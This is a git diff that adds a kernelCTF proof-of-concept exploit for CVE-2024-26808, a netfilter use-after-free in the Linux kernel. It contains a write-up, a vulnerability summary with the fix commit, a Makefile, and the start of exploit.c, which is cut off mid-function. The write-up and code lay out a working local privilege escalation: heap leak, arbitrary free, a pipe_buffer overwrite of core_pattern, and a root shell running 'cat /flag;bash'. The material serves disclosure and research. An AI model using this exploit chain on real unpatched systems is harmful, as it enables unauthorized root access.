diff --git a/pocs/linux/kernelctf/CVE-2024-26808_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2024-26808_cos/docs/exploit.md new file mode 100644 index 00000000..4f29436a --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26808_cos/docs/exploit.md @@ -0,0 +1,405 @@ +# Linux kernel Netfilter Use-After-Free leads to LPE +## Vulnerability + +The Linux Kernel Netfilter is a powerful framework that provides various networking-related operations, including packet filtering, network address translation (NAT), and port forwarding, within the Linux kernel. It is designed to work seamlessly with the Linux networking stack, offering a flexible and efficient mechanism for monitoring, modifying, or rejecting network packets. + +The architecture of the Linux Kernel Netfilter is modular and highly flexible, designed to efficiently handle the processing of network packets through various stages of the networking stack. At its core, Netfilter is structured around a series of hooks within the Linux network stack where functions can be registered to intercept and manipulate network packets at different points in their journey through the stack. These hooks are strategically placed at critical points, such as when packets first enter the network interface, when they're about to be routed, and just before they leave the system. + +The Netfilter framework within the Linux kernel includes various hooks for intercepting network packets at different stages of their processing. One such critical hook is the ingress hook. Positioned at the very beginning of the packet processing path, the ingress hook allows the Netfilter framework to examine and decide the fate of incoming packets before they hit the network stack for further processing. + +Let's take a look at the source code when user wants to install a chain filter via netfilter socket + +```c +static int nf_tables_addchain(struct nft_ctx *ctx, u8 family, u8 genmask, + u8 policy, u32 flags, + struct netlink_ext_ack *extack) +{ + ... + if (nla[NFTA_CHAIN_HOOK]) { + ... + err = nft_chain_parse_hook(net, NULL, nla, &hook, family, flags, + extack); + ... + } + ... +} +``` + +Based on data from user request, kernel will initialize a hook to add to the chain later + +```c +static int nft_chain_parse_hook(struct net *net, + struct nft_base_chain *basechain, + const struct nlattr * const nla[], + struct nft_chain_hook *hook, u8 family, + u32 flags, struct netlink_ext_ack *extack) +{ + ... + INIT_LIST_HEAD(&hook->list); + if (nft_base_chain_netdev(family, hook->num)) { + err = nft_chain_parse_netdev(net, ha, &hook->list, extack, flags); + if (err < 0) { + module_put(type->owner); + return err; + } + } + ... +} +``` + +If the current chain user want to install is a base chain from `netdev`, kernel will find a desired network device to attach to, since the document said + +> the ingress hook is attached to a particular network interface. + +```c +static struct nft_hook *nft_netdev_hook_alloc(struct net *net, + const struct nlattr *attr) +{ + struct net_device *dev; + char ifname[IFNAMSIZ]; + struct nft_hook *hook; + int err; + + hook = kmalloc(sizeof(struct nft_hook), GFP_KERNEL_ACCOUNT); + if (!hook) { + err = -ENOMEM; + goto err_hook_alloc; + } + + nla_strscpy(ifname, attr, IFNAMSIZ); + /* nf_tables_netdev_event() is called under rtnl_mutex, this is + * indirectly serializing all the other holders of the commit_mutex with + * the rtnl_mutex. + */ + dev = __dev_get_by_name(net, ifname); + if (!dev) { + err = -ENOENT; + goto err_hook_dev; + } + hook->ops.dev = dev; + + return hook; + +err_hook_dev: + kfree(hook); +err_hook_alloc: + return ERR_PTR(err); +} +``` + +We can see that the object `hook` holds a raw pointer of given network device [1] + +On the other hand, when user wants to delete a network device from system via netlink socket, kernel will call the function `rtnl_dellink`: + +```c +static int rtnl_dellink(struct sk_buff *skb, struct nlmsghdr *nlh, + struct netlink_ext_ack *extack) +{ + ... + err = rtnl_delete_link(dev, portid, nlh); + ... +} + +int rtnl_delete_link(struct net_device *dev, u32 portid, const struct nlmsghdr *nlh) +{ + const struct rtnl_link_ops *ops; + LIST_HEAD(list_kill); + + ops = dev->rtnl_link_ops; + if (!ops || !ops->dellink) + return -EOPNOTSUPP; + + ops->dellink(dev, &list_kill); + unregister_netdevice_many_notify(&list_kill, portid, nlh); + + return 0; +} +``` + +It depends on kind of the network device, delete operation will be run into different callbacks. There are some default network device: ppp, tun, bridge, ..., but all of their callbacks eventually call to `unregister_netdevice_queue` function, which lead to function `unregister_netdevice_many_notify`. + +```c +void unregister_netdevice_many_notify(struct list_head *head, + u32 portid, const struct nlmsghdr *nlh) +{ + ... + list_for_each_entry(dev, head, unreg_list) { + ... + + /* Notify protocols, that we are about to destroy + * this device. They should clean all the things. + */ + call_netdevice_notifiers(NETDEV_UNREGISTER, dev); + ... + + /* Remove entries from kobject tree */ + netdev_unregister_kobject(dev); + } + + list_del(head); +} +``` + +This function mainly focuses on uninitializing the device and free that object from kernel heap memory. And morevoer, it also calls to `call_netdevice_notifiers`, which notifies every handlers that subscribe to network device. These handlers are actually filter chains from netfilter subsystems, we can get their definitions in `nft_chain_filter.c`. Let's take a look at handler `nf_tables_netdev_notifier` + +```c +static int nf_tables_netdev_event(struct notifier_block *this, + unsigned long event, void *ptr) +{ + struct net_device *dev = netdev_notifier_info_to_dev(ptr); + struct nftables_pernet *nft_net; + struct nft_table *table; + struct nft_chain *chain, *nr; + struct nft_ctx ctx = { + .net = dev_net(dev), + }; + + if (event != NETDEV_UNREGISTER && + event != NETDEV_CHANGENAME) + return NOTIFY_DONE; + + nft_net = nft_pernet(ctx.net); + mutex_lock(&nft_net->commit_mutex); + list_for_each_entry(table, &nft_net->tables, list) { + if (table->family != NFPROTO_NETDEV) + continue; + + ctx.family = table->family; + ctx.table = table; + list_for_each_entry_safe(chain, nr, &table->chains, list) { + if (!nft_is_base_chain(chain)) + continue; + + ctx.chain = chain; + nft_netdev_event(event, dev, &ctx); + } + } + mutex_unlock(&nft_net->commit_mutex); + + return NOTIFY_DONE; +} + +static struct notifier_block nf_tables_netdev_notifier = { + .notifier_call = nf_tables_netdev_event, +}; +``` + +So in conclusion, when we remove a network device, the handler for `netdev` event iterates through all tables in current network, it passes if the table doesn't belong to `NETDEV` family, otherwise it keeps going through all chains in the table and remove the hook from the chain if that hook binds to removed network device + +```c +static void nft_netdev_event(unsigned long event, struct net_device *dev, + struct nft_ctx *ctx) +{ + struct nft_base_chain *basechain = nft_base_chain(ctx->chain); + struct nft_hook *hook, *found = NULL; + int n = 0; + + if (event != NETDEV_UNREGISTER) + return; + + list_for_each_entry(hook, &basechain->hook_list, list) { + if (hook->ops.dev == dev) + found = hook; + + n++; + } + if (!found) + return; + + if (n > 1) { + nf_unregister_net_hook(ctx->net, &found->ops); + list_del_rcu(&found->list); + kfree_rcu(found, rcu); + return; + } + + /* UNREGISTER events are also happening on netns exit. + * + * Although nf_tables core releases all tables/chains, only this event + * handler provides guarantee that hook->ops.dev is still accessible, + * so we cannot skip exiting net namespaces. + */ + __nft_release_basechain(ctx); +} +``` + +However, there are two types of chain that may refer to a network device, `NF_NETDEV_INGRESS` and `NF_INET_INGRESS`, but kernel only removes hooks from `NF_NETDEV_INGRESS` [2] + +Now we need a place to use this freed network device. Investigating into how a chain would be removed, we meet some lines of code that are used to unregister hooks + +```c +void nf_unregister_net_hook(struct net *net, const struct nf_hook_ops *reg) +{ + if (reg->pf == NFPROTO_INET) { + if (reg->hooknum == NF_INET_INGRESS) { + __nf_unregister_net_hook(net, NFPROTO_INET, reg); + } else { + __nf_unregister_net_hook(net, NFPROTO_IPV4, reg); + __nf_unregister_net_hook(net, NFPROTO_IPV6, reg); + } + } else { + __nf_unregister_net_hook(net, reg->pf, reg); + } +} + +static void __nf_unregister_net_hook(struct net *net, int pf, + const struct nf_hook_ops *reg) +{ + struct nf_hook_entries __rcu **pp; + struct nf_hook_entries *p; + + pp = nf_hook_entry_head(net, pf, reg->hooknum, reg->dev); + if (!pp) + return; + + mutex_lock(&nf_hook_mutex); + + p = nf_entry_dereference(*pp); + if (WARN_ON_ONCE(!p)) { + mutex_unlock(&nf_hook_mutex); + return; + } + + if (nf_remove_net_hook(p, reg)) { +#ifdef CONFIG_NETFILTER_INGRESS + if (nf_ingress_hook(reg, pf)) + net_dec_ingress_queue(); +#endif +#ifdef CONFIG_NETFILTER_EGRESS + if (nf_egress_hook(reg, pf)) + net_dec_egress_queue(); +#endif + nf_static_key_dec(reg, pf); + } else { + WARN_ONCE(1, "hook not found, pf %d num %d", pf, reg->hooknum); + } + + p = __nf_hook_entries_try_shrink(p, pp); + mutex_unlock(&nf_hook_mutex); + if (!p) + return; + + nf_queue_nf_hook_drop(net); + nf_hook_entries_free(p); +} +``` + +So basically, kernel finds the first hook in given chain that satisfies conditions, including + +```c +case NFPROTO_INET: + if (WARN_ON_ONCE(hooknum != NF_INET_INGRESS)) + return NULL; + if (!dev || dev_net(dev) != net) { + WARN_ON_ONCE(1); + return NULL; + } + return &dev->nf_hooks_ingress; +``` + +That means it accesses to network device attached to the hook [3] + +Combine [1], [2] and [3], and we have an Use-After-Free vulnerability in kernel + +## Triggering Vulnerabilty + +First we create a dummy device by sending a creating request to netlink socket ( All the following steps can be reproduced with commandline tool `nft` and `ip`, or get from attached PoC ) + +```c +rt_newlink(nl_route, "UAF_DEVICE", 1337); +``` + +Then create a table and a chain that link to the created device + +```c +create_table(nl_nf, NFPROTO_INET, "table"); +create_chain(nl_nf, NFPROTO_INET, "table", "chain", NF_INET_INGRESS, 10, "UAF_DEVICE") +``` + +Remove the device + +```c +rt_dellink(nl_route, 1337); +``` + +Now if we dump the chain information, we can get old-removed device name -> UAF triggered + +## Exploitation + +We leverage this vulnerablity into UAF Leak and arbitrary free depend on when to "use" + +### UAF Leak + +When we dump the chain information, we can get old-removed device name in function `nft_dump_basechain_hook` at line [1]. It allows us to get contents of reclaimed struct/object at the first 8 bytes as a string, so we need to take care the value/address we leak later doesn't contain null byte. + +```C +static int nft_dump_basechain_hook(struct sk_buff *skb, int family, + const struct nft_base_chain *basechain, + const struct list_head *hook_list) +{ +... + + list_for_each_entry(hook, hook_list, list) { + if (!first) + first = hook; + + if (nla_put_string(skb, NFTA_DEVICE_NAME, + hook->ops.dev->name)) //[1] + goto nla_put_failure; + n++; + } + nla_nest_end(skb, nest_devs); + + if (n == 1 && + nla_put_string(skb, NFTA_HOOK_DEV, first->ops.dev->name)) + goto nla_put_failure; +``` + +### Arbitrary free + +When we delete the chain, it will call `__nf_unregister_net_hook` to find out the `struct nf_hook_entries` by freed net_device and later call `nf_hook_entries_free` to free our controllable value. But there is a limit, we need to make our crafted net_device's net to be the same net in line 2. Otherwise it will return NULL and early return without go into `nf_hook_entries_free` + +```C +static struct nf_hook_entries __rcu ** +nf_hook_entry_head(struct net *net, int pf, unsigned int hooknum, + struct net_device *dev) +{ + +... + case NFPROTO_INET: + if (WARN_ON_ONCE(hooknum != NF_INET_INGRESS)) + return NULL; + if (!dev || dev_net(dev) != net) { //[2] + WARN_ON_ONCE(1); + return NULL; + } + return &dev->nf_hooks_ingress; +``` + +### Overwrite core_pattern +One of methods to get privileged execution is overwrite `core_pattern` so our exploit will executed as root if any crash in user program is triggered. Using arbitrary free before, the exploit is free some `pipe_buffer` object and overwrite `pipe_buffer` with our own value. + +In `pipe_buffer` object there's `page` member that represents any allocated physical page in memory. To know where `core_pattern`'s page object is, first we spill struct page of some kernel text to the `pipe_buffer`, the trick we do is by `vmsplice` vDSO address to the pipe. Then, by reading `page` from victim `pipe_buffer` we can calculate the `struct page` of `core_pattern` is located. We also overwrite `flags` with `PIPE_BUF_FLAG_CAN_MERGE`, so by writing to the pipe we can overwrite the content of the memory page, which is `core_pattern`. + +### Root shell +After overwrite `core_pattern`, we can crash the program, and anything in `core_pattern` will be executed as root which is our root shell. + +### Detailed summary of step by steps exploitation +With these two limited primitive, our exploit is in the following steps: + +1. Cross cache to overwrite `net_device` object in kmalloc-cg-4k to `packet_fanout` object in kmalloc-4k. +2. `packet_fanout` object has `net` address in the first 8 byte, we leak `net` using UAF leak primitive to satisfy condition `dev_net(dev) != net` when perform arbitrary free at step 6. +3. Using another UAF object, this time we overwrite `net_device` with `msg_msg` object, no need cross cache we use same kmalloc-cg-4k. +4. We fill `msg_msg.next` (first 8 byte offset) with kmalloc-cg-192 by send `msg_msg` with size 0x90 for every `msg_msg` that already placed in kmalloc-cg-4k. +5. kmalloc-cg-192 guarantee that the first byte doesn't contain null byte, so we can leak kmalloc-cg-192 `msg_msg` addr using UAF leak. +6. Use arbitrary free to free a chunk in kmalloc-cg-192 we got before. +7. Reclaim it as `pipe_buffer` A. +8. Write 0x1000 bytes to pipe A, it will increase `pipe->head` so the next `vmspliced` page will happen at `&pipe->bufs[1]` and doesn't touch the important field of `msg_msgseg.next` that needs to be null which located at the first eight bytes. +9. Use arbitrary free again to free `pipe_buffer` A. +10. Reclaim `pipe_buffer` A as `msg_msgseg`, only the first eight bytes of `msg_msgseg` uncontrolled by user so it's better than `msg_msg` in this case. +11. Call syscall vmsplice to vDSO memory page into `pipe_buffer` A at offset 0x28 (because of increased `pipe->head` at step 8), this method gives `struct page` addr of kernel text to `pipe_buffer`. +12. Read from `msg_msgseg` to read content of `pipe_buffer` A. +13. Prepare the fake pipe buffer with `page` and `offset` value calculated point to the `core_pattern` `page`'s addr and set `PIPE_BUF_FLAG_CAN_MERGE` for the pipe flags. +14. Receive the `msg` object, the `msg_msgseg` object will freed, then we can modify `pipe_buffer` by spray `msg_msgseg` again with fake pipe buffer content. +15. Write to `pipe_buffer` A to overwrite `core_pattern` value. +16. Get root shell by triggering crash. diff --git a/pocs/linux/kernelctf/CVE-2024-26808_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2024-26808_cos/docs/vulnerability.md new file mode 100755 index 00000000..c46a0b8d --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26808_cos/docs/vulnerability.md @@ -0,0 +1,12 @@ +- Requirements: + - Capabilites: CAP_NET_ADMIN + - Kernel configuration: CONFIG_NF_TABLES=y + - User namespaces required: Yes +- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=60a3815da702fd9e4759945f26cce5c47d3967ad +- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?h=linux-5.15.y&id=70f17b48c86622217a58d5099d29242fc9adac58 +- Affected Version: v5.9 - v6.6 +- Affected Component: netfilter +- Syscall to disable: unshare +- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26808 +- Cause: Use-After-Free +- Description: A use-after-free vulnerability in the Linux kernel's netfilter. Remove netdevice from inet/ingress basechain in case NETDEV_UNREGISTER event is reported, otherwise a stale reference to netdevice remains in the hook list. We recommend upgrading past commit 01acb2e8666a6529697141a6017edbf206921913. \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-26808_cos/exploit/cos-105-17412.294.36/Makefile b/pocs/linux/kernelctf/CVE-2024-26808_cos/exploit/cos-105-17412.294.36/Makefile new file mode 100644 index 00000000..f623b2c5 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26808_cos/exploit/cos-105-17412.294.36/Makefile @@ -0,0 +1,41 @@ +# taken from: https://github.com/google/security-research/blob/1bb2f8c8d95a34cafe7861bc890cfba5d85ec141/pocs/linux/kernelctf/CVE-2024-0193_lts/exploit/lts-6.1.67/Makefile + +LIBMNL_DIR = $(realpath ./)/libmnl_build +LIBNFTNL_DIR = $(realpath ./)/libnftnl_build + +LIBS = -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl +INCLUDES = -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include +CFLAGS = -static -s + +exploit: + gcc -pthread -o exploit exploit.c $(LIBS) $(INCLUDES) $(CFLAGS) + +prerequisites: libnftnl-build + +libmnl-build : libmnl-download + tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2 + cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make -j`nproc` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install + +libnftnl-build : libmnl-build libnftnl-download + tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make -j`nproc` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install + +libmnl-download : + mkdir $(LIBMNL_DIR) + wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2 + +libnftnl-download : + mkdir $(LIBNFTNL_DIR) + wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz + +run: + ./exploit + +clean: + rm -f exploit + rm -rf $(LIBMNL_DIR) + rm -rf $(LIBNFTNL_DIR) diff --git a/pocs/linux/kernelctf/CVE-2024-26808_cos/exploit/cos-105-17412.294.36/exploit b/pocs/linux/kernelctf/CVE-2024-26808_cos/exploit/cos-105-17412.294.36/exploit new file mode 100755 index 00000000..4b2f5914 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26808_cos/exploit/cos-105-17412.294.36/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2024-26808_cos/exploit/cos-105-17412.294.36/exploit.c b/pocs/linux/kernelctf/CVE-2024-26808_cos/exploit/cos-105-17412.294.36/exploit.c new file mode 100644 index 00000000..0a1f6df9 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26808_cos/exploit/cos-105-17412.294.36/exploit.c @@ -0,0 +1,745 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include /* the L2 protocols */ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef NF_INET_INGRESS +#define NF_INET_INGRESS NF_INET_NUMHOOKS +#endif +struct pipe_buffer +{ + void *page; + unsigned int offset, len; + void *ops; + unsigned int flags; + unsigned long private; +}; + +#define PAUSE \ + { \ + printf(":"); \ + int x; \ + read(0, &x, 4); \ + } + +#define SYSCHK(x) \ + ({ \ + typeof(x) __res = (x); \ + if (__res == (typeof(x))-1) \ + err(1, "SYSCHK(" #x ")"); \ + __res; \ + }) +void set_cpu(int i) +{ + // return; + cpu_set_t mask; + CPU_ZERO(&mask); + CPU_SET(i, &mask); + sched_setaffinity(0, sizeof(mask), &mask); +} + +void root(char *buf) +{ + int pid = strtoull(buf, 0, 10); + char path[0x100]; + // fix stdin, stdout, stderr + sprintf(path, "/proc/%d/ns/net", pid); + int pfd = syscall(SYS_pidfd_open, pid, 0); + int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0); + int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0); + dup2(stdinfd, 0); + dup2(stdoutfd, 1); + dup2(stderrfd, 2); + // just cat the flag + system("cat /flag;bash"); +} +char buf[0x1000]; +void rt_newlink(struct mnl_socket *sock, char *link_name, unsigned int link_id) +{ + char buf[MNL_SOCKET_BUFFER_SIZE]; + struct nlmsghdr *nlh; + struct ifinfomsg *ifm; + unsigned int seq, portid; + struct nlattr *linkinfo, *data; + + // fprintf(stderr, "[+] Create new link: %s_%u\n", link_name, link_id); + + nlh = mnl_nlmsg_put_header(buf); + nlh->nlmsg_type = RTM_NEWLINK; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_ACK; + nlh->nlmsg_seq = seq = time(NULL); + + ifm = mnl_nlmsg_put_extra_header(nlh, sizeof(*ifm)); + ifm->ifi_family = AF_INET; + ifm->ifi_change = 0xFFFFFFFF; + ifm->ifi_index = link_id; + ifm->ifi_flags = IFF_DEBUG; + + mnl_attr_put_str(nlh, IFLA_IFNAME, link_name); + linkinfo = mnl_attr_nest_start(nlh, IFLA_LINKINFO); + mnl_attr_put_str(nlh, IFLA_INFO_KIND, "dummy"); + data = mnl_attr_nest_start(nlh, IFLA_INFO_DATA); + + mnl_attr_nest_end(nlh, data); + mnl_attr_nest_end(nlh, linkinfo); + + // mnl_nlmsg_fprintf(stdout, nlh, nlh->nlmsg_len, sizeof(struct ifinfomsg)); + + portid = mnl_socket_get_portid(sock); + SYSCHK(mnl_socket_sendto(sock, nlh, nlh->nlmsg_len)); + int ret = SYSCHK(mnl_socket_recvfrom(sock, buf, sizeof(buf))); + SYSCHK(mnl_cb_run(buf, ret, seq, portid, NULL, NULL)); +} + +void rt_setlink(struct mnl_socket *sock, unsigned int link_id, char *new_name) +{ + char buf[MNL_SOCKET_BUFFER_SIZE]; + struct nlmsghdr *nlh; + struct ifinfomsg *ifm; + unsigned int seq, portid; + + // fprintf(stderr, "[+] Set link: %s_%u\n", new_name, link_id); + + nlh = mnl_nlmsg_put_header(buf); + nlh->nlmsg_type = RTM_SETLINK; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + nlh->nlmsg_seq = seq = time(NULL); + + ifm = mnl_nlmsg_put_extra_header(nlh, sizeof(*ifm)); + ifm->ifi_family = AF_INET; + ifm->ifi_index = link_id; + + mnl_attr_put_str(nlh, IFLA_IFNAME, new_name); + // mnl_nlmsg_fprintf(stdout, nlh, nlh->nlmsg_len, sizeof(struct ifinfomsg)); + + portid = mnl_socket_get_portid(sock); + SYSCHK(mnl_socket_sendto(sock, nlh, nlh->nlmsg_len)); + int ret = SYSCHK(mnl_socket_recvfrom(sock, buf, sizeof(buf))); + SYSCHK(mnl_cb_run(buf, ret, seq, portid, NULL, NULL)); +} + +int data_attr_cb(const struct nlattr *attr, void *data) +{ + const struct nlattr **tb = data; + int type = mnl_attr_get_type(attr); + + if (mnl_attr_type_valid(attr, IFLA_MAX) < 0) + return MNL_CB_OK; + + switch (type) + { + case IFLA_ADDRESS: + if (mnl_attr_validate(attr, MNL_TYPE_BINARY) < 0) + { + perror("mnl_attr_validate"); + return MNL_CB_ERROR; + } + break; + case IFLA_MTU: + if (mnl_attr_validate(attr, MNL_TYPE_U32) < 0) + { + perror("mnl_attr_validate"); + return MNL_CB_ERROR; + } + break; + case IFLA_IFNAME: + if (mnl_attr_validate(attr, MNL_TYPE_STRING) < 0) + { + perror("mnl_attr_validate"); + return MNL_CB_ERROR; + } + break; + } + tb[type] = attr; + return MNL_CB_OK; +} + +int data_cb_after_getlink(const struct nlmsghdr *nlh, void *data) +{ + struct nlattr *attrs[IFLA_MAX + 1] = {}; + struct ifinfomsg *ifm = mnl_nlmsg_get_payload(nlh); + struct nlattr *tb[IFLA_MAX + 1] = {}; + int ret; + + mnl_attr_parse(nlh, sizeof(*ifm), data_attr_cb, tb); + + if (tb[IFLA_IFNAME]) + { + printf("name=%s index=%d type=%d flags=%d family=%d\n", + mnl_attr_get_str(tb[IFLA_IFNAME]), ifm->ifi_index, + ifm->ifi_type, ifm->ifi_flags, ifm->ifi_family); + } + + return MNL_CB_OK; +} + +void rt_getlink(struct mnl_socket *sock, unsigned int link_id) +{ + char buf[MNL_SOCKET_BUFFER_SIZE]; + struct nlmsghdr *nlh; + struct ifinfomsg *ifm; + unsigned int seq, portid; + struct rtgenmsg *rt; + + // fprintf(stderr, "[+] Get link from id: %u\n", link_id); + + nlh = mnl_nlmsg_put_header(buf); + nlh->nlmsg_type = RTM_GETLINK; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ATOMIC | NLM_F_ACK; + nlh->nlmsg_seq = seq = time(NULL); + + ifm = mnl_nlmsg_put_extra_header(nlh, sizeof(*ifm)); + ifm->ifi_family = AF_INET; + ifm->ifi_index = link_id; + + // mnl_nlmsg_fprintf(stdout, nlh, nlh->nlmsg_len, sizeof(struct ifinfomsg)); + + portid = mnl_socket_get_portid(sock); + SYSCHK(mnl_socket_sendto(sock, nlh, nlh->nlmsg_len)); + + int ret = SYSCHK(mnl_socket_recvfrom(sock, buf, sizeof(buf))); + while (ret > 0) + { + ret = mnl_cb_run(buf, ret, seq, portid, data_cb_after_getlink, + NULL); + if (ret <= MNL_CB_STOP) + break; + ret = SYSCHK(mnl_socket_recvfrom(sock, buf, sizeof(buf))); + } +} + +void rt_dellink(struct mnl_socket *sock, unsigned int link_id) +{ + char buf[MNL_SOCKET_BUFFER_SIZE]; + struct nlmsghdr *nlh; + struct ifinfomsg *ifm; + unsigned int seq, portid; + + // fprintf(stderr, "[+] Delete link: %u\n", link_id); + + nlh = mnl_nlmsg_put_header(buf); + nlh->nlmsg_type = RTM_DELLINK; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + nlh->nlmsg_seq = seq = time(NULL); + + ifm = mnl_nlmsg_put_extra_header(nlh, sizeof(*ifm)); + ifm->ifi_family = AF_INET; + ifm->ifi_index = link_id; + + // mnl_nlmsg_fprintf(stdout, nlh, nlh->nlmsg_len, sizeof(struct ifinfomsg)); + + portid = mnl_socket_get_portid(sock); + SYSCHK(mnl_socket_sendto(sock, nlh, nlh->nlmsg_len)); + int ret = SYSCHK(mnl_socket_recvfrom(sock, buf, sizeof(buf))); + SYSCHK(mnl_cb_run(buf, ret, seq, portid, NULL, NULL)); +} + +void create_table(struct mnl_socket *sock, unsigned short family, char *name) +{ + char buf[MNL_SOCKET_BUFFER_SIZE]; + struct nlmsghdr *nlh; + uint32_t portid, seq, table_seq, tmp_family; + struct nftnl_table *t; + struct mnl_nlmsg_batch *batch; + int ret; + + // fprintf(stderr, "[+] Create new table: %s\n", name); + t = nftnl_table_alloc(); + nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, family); + nftnl_table_set_str(t, NFTNL_TABLE_NAME, name); + + seq = time(NULL); + batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + table_seq = seq; + tmp_family = nftnl_table_get_u32(t, NFTNL_TABLE_FAMILY); + nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), + NFT_MSG_NEWTABLE, tmp_family, + NLM_F_CREATE | NLM_F_ACK, seq++); + nftnl_table_nlmsg_build_payload(nlh, t); + nftnl_table_free(t); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + portid = mnl_socket_get_portid(sock); + SYSCHK(mnl_socket_sendto(sock, mnl_nlmsg_batch_head(batch), + mnl_nlmsg_batch_size(batch))); + mnl_nlmsg_batch_stop(batch); + ret = SYSCHK(mnl_socket_recvfrom(sock, buf, sizeof(buf))); + // mnl_nlmsg_fprintf(stdout, buf, ret, 0); + while (ret > 0) + { + ret = SYSCHK( + mnl_cb_run(buf, ret, table_seq, portid, NULL, NULL)); + if (ret <= 0) + break; + ret = mnl_socket_recvfrom(sock, buf, sizeof(buf)); + } +} + +void create_chain(struct mnl_socket *sock, unsigned short family, + char *table_name, char *chain_name, int hook_num, int prio, + char *device) +{ + char buf[MNL_SOCKET_BUFFER_SIZE]; + struct mnl_nlmsg_batch *batch; + uint32_t seq, chain_seq, portid; + struct nlmsghdr *nlh; + struct nftnl_chain *t; + + // fprintf(stderr, "[+] Create new chain: %s - %s - %d - %d\n", table_name, + // chain_name, hook_num, prio); + + t = nftnl_chain_alloc(); + nftnl_chain_set_str(t, NFTNL_CHAIN_TABLE, table_name); + nftnl_chain_set_str(t, NFTNL_CHAIN_NAME, chain_name); + nftnl_chain_set_u32(t, NFTNL_CHAIN_HOOKNUM, hook_num); + nftnl_chain_set_u32(t, NFTNL_CHAIN_PRIO, prio); + + char *dev_array[] = {"lo", device, NULL}; + if (device != NULL) + nftnl_chain_set_data(t, NFTNL_CHAIN_DEVICES, dev_array, 0); + + seq = time(NULL); + batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + chain_seq = seq; + nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), + NFT_MSG_NEWCHAIN, family, + NLM_F_CREATE | NLM_F_ACK, seq++); + nftnl_chain_nlmsg_build_payload(nlh, t); + nftnl_chain_free(t); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + portid = mnl_socket_get_portid(sock); + SYSCHK(mnl_socket_sendto(sock, mnl_nlmsg_batch_head(batch), + mnl_nlmsg_batch_size(batch))); + mnl_nlmsg_batch_stop(batch); + int ret = SYSCHK(mnl_socket_recvfrom(sock, buf, sizeof(buf))); + // mnl_nlmsg_fprintf(stdout, buf, ret, 0); + while (ret > 0) + { + ret = SYSCHK( + mnl_cb_run(buf, ret, chain_seq, portid, NULL, NULL)); + if (ret <= 0) + break; + ret = mnl_socket_recvfrom(sock, buf, sizeof(buf)); + } +} + +size_t get_chain(struct mnl_socket *sock, unsigned short family, + char *table_name, char *chain_name) +{ + char buf[MNL_SOCKET_BUFFER_SIZE]; + uint32_t seq, portid, type = NFTNL_OUTPUT_DEFAULT; + struct nlmsghdr *nlh; + + // fprintf(stderr, "[+] Get chain: %s - %s\n", table_name, chain_name); + + seq = time(NULL); + + // nlh = nftnl_nlmsg_build_hdr(buf, NFT_MSG_GETCHAIN, family, NLM_F_DUMP, seq); + + struct nftnl_chain *t = nftnl_chain_alloc(); + nlh = nftnl_nlmsg_build_hdr(buf, NFT_MSG_GETCHAIN, family, NLM_F_ACK, + seq); + nftnl_chain_set_str(t, NFTNL_CHAIN_TABLE, table_name); + nftnl_chain_set_str(t, NFTNL_CHAIN_NAME, chain_name); + nftnl_chain_nlmsg_build_payload(nlh, t); + nftnl_chain_free(t); + + portid = mnl_socket_get_portid(sock); + 